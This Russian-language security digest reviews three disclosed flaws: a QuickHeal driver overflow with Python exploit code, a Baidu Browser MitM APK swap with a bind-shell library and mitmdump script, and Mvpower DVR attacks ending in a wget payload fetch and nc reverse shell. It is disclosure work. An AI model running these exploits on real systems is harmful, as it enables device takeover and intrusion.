Содержание статьи
В сегодняшнем обзоре мы рассмотрим DoS уязвимость в антивирусе QuickHeal, посмотрим, как происходит процесс поиска и эксплуатации ошибки в браузере Baidu для Android, и закончим взглядом на серию уязвимостей в популярной веб-камере.
DoS уязвимость в драйвере webssx.sys от QuickHeal
CVSSv2
N/A
BRIEF
Дата релиза: 19 февраля 2016 года
Автор: Csaba Fitzl
CVE: 2015-8285
В антивирусе QuickHeal 16.00 (9.0.0.x) была обнаружена DoS-уязвимость, которая может привести к повышению привилегий. Уязвимый драйвер можно найти по следующему пути:
C:\Program Files\Quick Heal\Quick Heal Internet Security\webssx.sys
Если мы посмотрим его характеристики с помощью программы DeviceTree, то увидим, что, хоть она и должна быть доступна только администраторам или пользователю SYSTEM, флаг DEVICE_SECURE_OPEN
не используется. Это означает, что любой пользователь может взаимодействовать с этим драйвером и произвольным путем к нему. Выглядеть он будет примерно так: \Device\webssx\sometext
.
Далее автор нашел IOCTL код 0x830020FC
, приводящий к вызову уязвимой функции. Но для того, чтобы попасть к ней, нужно, чтобы размер входящего буфера был больше, чем 0x138. Если условие выполняется, то по адресу webssx+5596
, произойдет вызов sub_1D1E
, который затем вызовет функцию webssx+1090
. Граф вызовов представлен на скриншоте.
Целочисленное переполнение получается из-за недостаточной проверки получаемых данных из входного буфера. На скриншоте ты можешь видеть, что если мы имеем 0x1
в определенном месте буфера, то случится переход на небольшой участок кода, который установит новое значение регистра EDX. Данные берутся из буфера и к ним добавляется 0x14A
.
Затем EDX используется для выделения пула в пространстве ядра. Если мы установим значение по смещению 0x130
в буфере на 0xffffffc0
или нечто похожее, то значение в EDX будет меньше, чем 0x14A
. Затем оно используется для задания размера пула.
Если выделение пройдет успешно, то мы увидим, что будет скопировано 0x4E*4 = 0x138
байт внутрь пула из буфера. В случае повреждения размера выделения произойдет перезапись пула ядра, что, в свою очередь, приведет к повышению привилегий.
Когда функция продолжит работу, те же проверки будут снова выполнены, и мы обратимся к операции memcpy
. Первоначальная задумка разработчиков, наверное, выглядела примерно так:
if some_value = 1:
B = InputBuffer[0x130]
Выделение пула размером A+B
else:
Выделение пула размером A
Копирование А байт из InputBuffer в пул
if some_value = 1
Копирование дополнительных B байт из InputBuffer в пул
Операция memcpy
вызовет BSOD (потому что размер параметра будет намного больше — 0xffffffc0
, что примерно равно 4 ГБ) и может упасть в следующих случаях:
- наш ввод меньше 4 ГБ и попытается прочесть из памяти адреса, которые не инициализированы;
- на 32-битном компьютере у нас закончится память во время копирования.
EXPLOIT
Автор опубликовал на GitHub свой эксплойт для демонстрации уязвимости. Он написан на Python и для работы требует ctypes, чтобы обратиться к kernel32 и ntdll:
kernel32 = windll.kernel32
ntdll = windll.ntdll
Обратимся к кастомному обработчику ядра \\\\.\\webssx\some
с нужными параметрами:
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN = 0x830020FC
DEVICE_NAME = "\\\\.\\webssx\some" # Добавляем "some" для обходп ACL restriction, (FILE_DEVICE_SECURE_OPEN отсутствует для такого драйвера)
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141 # адрес памяти входящего буфера
inputbuffer_size = 0x1000
outputbuffer_size = 0x0
outputbuffer = 0x20000000
Выделим память:
baseadd = c_int(base)
size = c_int(evil_size)
evil_input = "\x41" * 0x10
evil_input += "\x42\x01\x42\x42" # триггер memcpy
evil_input += "\x42" * (0x130-0x14)
evil_input += "\xc0\xff\xff\xff" # это вызывает падение memcpy и появление BSOD
evil_input += "\x43" * (evil_size-len(evil_input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
written = c_ulong()
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
И отправляем ioctl-вызов:
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
None,
None,
None,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
Аналогичная уязвимость существует и на 64-битных системах, но так как оперативной памяти больше, то, по словам автора, возможен не только DoS, но и поднятие привилегий.
TARGETS
QuickHeal 16.00 (9.0.0.x)
SOLUTION
Производитель выпустил исправление.
Удаленное выполнение кода в Baidu Browser для Android
CVSSv2
N/A
BRIEF
Дата релиза: 27 февраля 2016 года
Автор: lifeform-labs
CVE: N/A
Все началось с поста на xda-developers, где были расписаны уязвимости в браузере Baidu. Члены команды lifeform-labs решили показать пример того, что эксплуатация не составляет особого труда. Браузер же очень популярен: по данным Google Play, число загрузок составляет от десяти до пятидесяти миллионов.
Перед началом установки браузера автор запустил mitmproxy.
И что мы видим? APK загружается по протоколу HTTP:
GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk
Если открыть предыдущий запрос, то мы увидим ответ JSON с адресом APK:
GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp&av=6.3.0.1&sv=a_19&pr=&n=
Ответ в JSON:
{
"d": {
"downUrl": "http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk",
"force": "0",
"freq": "365d",
"md5": "54b2672d5353481ab5a762bdcd74977f",
"remindCount": "1",
"size": "7636",
"zi": "12.1.0.0",
"zo": "6.2.7.11"
},
"n": "8913ced893e7656ab190490d9bf96e9f",
"s": 1
}
После успешной установки пользователь увидит следующее сообщение.
Что такое T5 Engine, нам не особенно важно (но если любопытно, то знай: это дополнение, которое увеличивает скорость Baidu). Загрузим и его для дальнейшего изучения:
wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk
...
2016-02-27 12:56:21 (1.95 MB/s) — '54b2672d5353481ab5a762bdcd74977f.apk' saved [7819869/7819869]
Смотрим содержимое:
unzip -l 54b2672d5353481ab5a762bdcd74977f.apk
Archive: 54b2672d5353481ab5a762bdcd74977f.apk
Length Date Time Name
-------- ---- ---- ----
21704 03-24-15 14:32 libbaidujni.so
99576 03-24-15 14:32 libdumper.so
66748 03-24-15 14:32 libZeusPlatformImpl23.so
66752 03-24-15 14:32 libZeusPlatformImpl40.so
66752 03-24-15 14:32 libZeusPlatformImpl41.so
66752 03-24-15 14:32 libZeusPlatformImpl42.so
66756 03-24-15 14:32 libZeusPlatformImpl43.so
66756 03-24-15 14:32 libZeusPlatformImpl443.so
66756 03-24-15 14:32 libZeusPlatformImpl44.so
66752 03-24-15 14:32 libZeusPlatform.so
14495444 03-24-15 14:32 libzeus.so
493810 03-24-15 14:33 com.baidu.zeus.jar
-------- -------
15644558 12 files
Все необходимые библиотеки загружаются по HTTP. Изучаем директорию Baidu, чтобы понять, что и где расположено:
/data/data/com.baidu.browser.inter/files # ls -la
drwx------ u0_a151 u0_a151 2016-02-27 11:57 AFRequestCache
-rw------- u0_a151 u0_a151 33 2016-02-27 11:57 AF_INSTALLATION
drwx------ u0_a151 u0_a151 2016-02-27 11:57 bbm
-rw------- u0_a151 u0_a151 10453 2016-02-27 11:57 config_gb.json
drwx------ u0_a151 u0_a151 2016-02-27 11:57 cyber
drwx------ u0_a151 u0_a151 2016-02-27 11:57 data
drwx------ u0_a151 u0_a151 2016-02-27 11:57 deeplink
drwx------ u0_a151 u0_a151 2016-02-27 11:57 float_window
drwx------ u0_a151 u0_a151 2016-02-27 12:44 home
drwx------ u0_a151 u0_a151 2016-02-27 11:57 images
-rwxr-xr-x u0_a151 u0_a151 13592 2016-02-27 11:57 libprocmox_v1_4.so
drwx------ u0_a151 u0_a151 2016-02-27 11:57 misc
drwx------ u0_a151 u0_a151 2016-02-27 11:57 plugin
drwx------ u0_a151 u0_a151 2016-02-27 11:57 pv
drwx------ u0_a151 u0_a151 2016-02-27 11:57 skin
drwx------ u0_a151 u0_a151 2016-02-27 11:57 splash
drwx------ u0_a151 u0_a151 2016-02-27 11:57 version
drwx--x--x u0_a151 u0_a151 2016-02-27 12:44 zeus
И в итоге находим нужную папку /files/zeus/lib/
, куда складируется содержимое APK:
/data/data/com.baidu.browser.inter/files/zeus/libs # ls -la
-rw-r--r-- u0_a151 u0_a151 1252704 2016-02-27 12:44 com.baidu.zeus.dex
-rw-r--r-- u0_a151 u0_a151 493810 2016-02-27 12:44 com.baidu.zeus.jar
-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatform.so
...
-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl443.so
-rw-r--r-- u0_a151 u0_a151 21704 2016-02-27 12:44 libbaidujni.so
-rw-r--r-- u0_a151 u0_a151 99576 2016-02-27 12:44 libdumper.so
-rw-r--r-- u0_a151 u0_a151 14495444 2016-02-27 12:44 libzeus.so
-rw-r--r-- u0_a151 u0_a151 17 2016-02-27 12:44 ver.dat
Теперь у нас есть все, что требуется для успешной эксплуатации.
EXPLOIT
План следующий:
- создать zip с библиотеками, которые мы нашли в T5Update APK;
- заменить одну из библиотек нашей и упаковать в новый zip;
- провести MitM атаку;
- подставить наш файл вместо T5Update APK.
Проверим, какие библиотеки загружаются при запуске браузера:
D/dalvikvm(21640): Trying to load lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38
D/dalvikvm(21640): Added shared lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38
Нашей целью будет библиотека libzeus.so
. Заменяем ее в созданном архиве. Ниже представлен код новой библиотеки для выполнения нашего кода:
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
int JNI_OnLoad( JavaVM* vm, void* reserved )
{
system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
return JNI_VERSION_1_6;
}
После этого создадим свой APK с поддельной libzeus.so
:
unzip -l bad.apk
Archive: bad.apk
Length Date Time Name
-------- ---- ---- ----
493810 03-24-15 14:33 com.baidu.zeus.jar
21704 03-24-15 14:32 libbaidujni.so
99576 03-24-15 14:32 libdumper.so
9356 02-13-16 16:20 libzeus.so
...
66756 03-24-15 14:32 libZeusPlatformImpl443.so
Теперь напишем небольшой скрипт mitmdump, который будет вставлять bad.apk
внутрь запроса загрузки T5Update APK:
import os
from libmproxy import proxy, flow
from libmproxy.protocol import http
from libmproxy.models import HTTPResponse
from netlib.http import Headers
def start(context, argv):
context.log("[*] Starting APK Injection!")
def request(context, flow):
if not flow.request.host == "s.mobile-global.baidu.com":
return
context.log("[Baidu APK Injection] Target host : {0}".format(flow.request.host))
if flow.request.path.split(".")[-1] == "apk":
context.log("[Baidu APK Injection] Target injection point : {0}".format(flow.request.path))
response = HTTPResponse("HTTP/1.0", 200, "OK", Headers(Content_Type="application/octet-stream",), "PWNED")
# Inject our APK into the HTTP response
try:
with open("bad.apk", "rb") as f:
modified = f.read()
response.content = modified
response.headers["Content-Length"] = str(len(modified))
f.close()
except IOError as e:
raise e
flow.reply(response)
Автор записал демо с примером успешной эксплуатации.
TARGETS
Baidu Browser for Android
SOLUTION
Производитель выпустил исправление
Множественные уязвимости в DVR Mvpower 8 для CCTV
CVSSv2
N/A
BRIEF
Дата релиза: 10 февраля 2016 года
Автор: Andrew Tierney
CVE: N/A
Камеры видеонаблюдения повсеместны, но их безопасность — под вопросом. Исследователи из конторы PenTestPartners решили проверить их на прочность, для чего выбрали одну из недорогих моделей DVR — Mvpower 8.
В этой системе используется собственный веб-сервер — его можно поискать через Shodan по HTTP-заголовку JAWS/1.0
. В результатах будет перечислено 44000 устройств с таким заголовком и «свободным» доступом. Большинство из них стоят в общественных местах.
EXPLOIT
Начнем со стандартной уязвимости, которая частично относится к человеческому фактору. По умолчанию на таком устройстве для входа используется пароль admin и пустой пароль. До сих пор многие после покупки и установки забывают поменять пароли (не говоря уже о логинах), и атакующий может без проблем получить админский доступ к панели управления.
Следующая уязвимость — это обход аутентификации. По задумке разработчиков, пользователь заходит на index.html
, где вводит свои данные. Если они правильные, то пользователя направляют на страницу view2.html
.
В случае попытки зайти сразу на страницу view2.html
без установленных cookie на некоторое время мы увидим загруженную страницу и редирект на index.html
. Как оказалось, проверка осуществляется с помощью JavaScript и проверяется только наличие cookie:
$(document).ready(function() {
dvr_camcnt = Cookies.get(“dvr_camcnt”);
dvr_usr = Cookies.get(“dvr_usr”);
dvr_pwd = Cookies.get(“dvr_pwd”);
if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
{
location.href = “/index.html”;
}
}
Таким образом, в cookie можно написать что угодно, и получить доступ к интерфейсу без знания правильного логина и пароля.
Получить полный доступ к веб-интерфейсу, конечно, интересно, но хотелось бы полноценный шелл на устройстве. При исследовании был найден заголовок J18. Это последовательный порт 115200. Но у него нет никакого вывода, что не позволяет его нормально использовать.
В устройстве используется загрузчик с открытым исходным кодом — uboot. А саму загрузку можно прервать нажатием любой клавиши. Но на это есть всего секунда 🙂
После попадания в консоль можно изменить параметры загрузки, чтобы пускало без пароля:
setenv bootargs ${bootargs} single
boot
После этого DVR загрузится в режиме single user и у нас будет желаемый шелл. Хотя и не удаленный.
После анализа прошивки стало ясно, что большая часть функций хранится в приложении dvr_app, включая веб-сервер. Для реализации веб-интерфейса используются скрипты /cgi-bin/*.cgi
, но такой папки в файловой системе не нашлось, а значит, dvr_app сам обрабатывает такие запросы. Подобное поведение характерно для встраиваемых устройств.
После анализа строк из dvr_app были найдены не только cgi-скрипты, но и другие интересные файлы. Авторы очень удивились, обнаружив встроенную команду moo. Но нам больше интересен шелл. Попробуем вывести список процессов.
Теперь у нас безо всякой авторизации есть удаленный шелл с правами администратора, который не документирован и, возможно, не отключаем.
На устройстве также имеется telnet на 23 порту, правда, он требует пароль. Но, так как у нас есть доступ к шеллу, описанный выше, то мы можем узнать хеш пароля и расшифровать его.
Если же пароль долго не подбирается, то мы можем использовать шелл для запуска нового telnet демона:
http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25
Не у всех найденных устройствах наружу прокинуты какие-то порты, кроме 80, поэтому рассмотрим получение reverse shell.
DVR использует busybox, но, увы, без любимого нами netcat. Но это можно исправить! Скомпилируем новый busybox под используемый ARM процессор, благо особых зависимостей netcat не требует.
Наши дальнейшие действия таковы:
- Найти директорию с возможностью записи. Вся файловая система устройства смонтирована с правами только для чтения, чтобы нельзя было изменить пароль или добавить пользователя. Но используется дополнительный жесткий диск для хранения данных —
/root/rec/a1
. - Загрузить с помощью wget новый скомпилированный busybox.
- Сделать файл исполняемым.
- Запустить netcat.
http://192.168.3.101/shell?cd /root/rec/a1
wget %68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20
chmod %2bx busybox
./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh
URL должен быть закодирован.
Теперь, зайдя на адрес http://1.2.3.4/busybox
, мы получаем долгожданный шелл.
Помимо описанных выше уязвимостей у устройства есть еще ряд недостатков:
- нет CSRF защиты;
- нет HTTPS;
- нет защиты от брутфорса;
- и многое другое.
Оригинальную версию статьи ты можешь прочитать на pentestpartners.com
TARGETS
Mvpower 8 (возможно, уязвимы и другие версии)
SOLUTION
На момент написания статьи об исправлениях не было известно.